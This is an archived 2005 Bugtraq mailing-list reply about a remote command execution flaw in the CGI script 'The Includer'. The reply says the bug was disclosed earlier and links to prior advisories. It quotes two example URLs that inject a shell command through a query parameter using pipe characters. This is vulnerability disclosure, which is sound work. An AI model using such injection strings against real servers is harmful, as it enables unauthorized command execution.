Re: Remote Command Execution

To: Francisco Alisson <dominusvis@xxxxxxxxxxxxxx>
Subject: Re: Remote Command Execution
From: BoI base <postbase@xxxxxxx>
Date: Tue, 8 Mar 2005 03:42:43 +0300
Cc: bugtraq@xxxxxxxxxxxxxxxxx
In-reply-to: <20050307105002.31730.qmail@xxxxxxxxxxxxxxxxxxxxx>
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
References: <20050307105002.31730.qmail@xxxxxxxxxxxxxxxxxxxxx>
Reply-to: BoI base <postbase@xxxxxxx>

Hi.

FA> Remote Command Execution

FA> Script: The Includer ( www.smarterscripts.com/includer/ )

FA> Remote Command Execution on:

FA> Example I.: www.host-vulnerable.com/includer.cgi?|id|
FA> Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

FA> Sorry if the bug is already posted ;) 
It was posted a long time ago. 8))

Also we know about vulnerabilities in Includer 1.1 and Executer 1.0
Advisories:
http://www.boiteam.net/?x=articles&id=8
http://www.boiteam.net/?x=articles&id=9
+ article 0x09 in CodePimps #6 (http://cp.boiteam.net)


-- 
Best regards, Xanders mailto:postbase@xxxxxxx

References:
- Remote Command Execution
  - From: Francisco Alisson

Prev by Date: PE Multiple Remote Access Validation Vulnerabilities (Participate Systems Inc. / Outstart Inc.)
Next by Date: RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
Previous by thread: Remote Command Execution
Next by thread: Re: Remote Command Execution
Index(es):
- Date
- Thread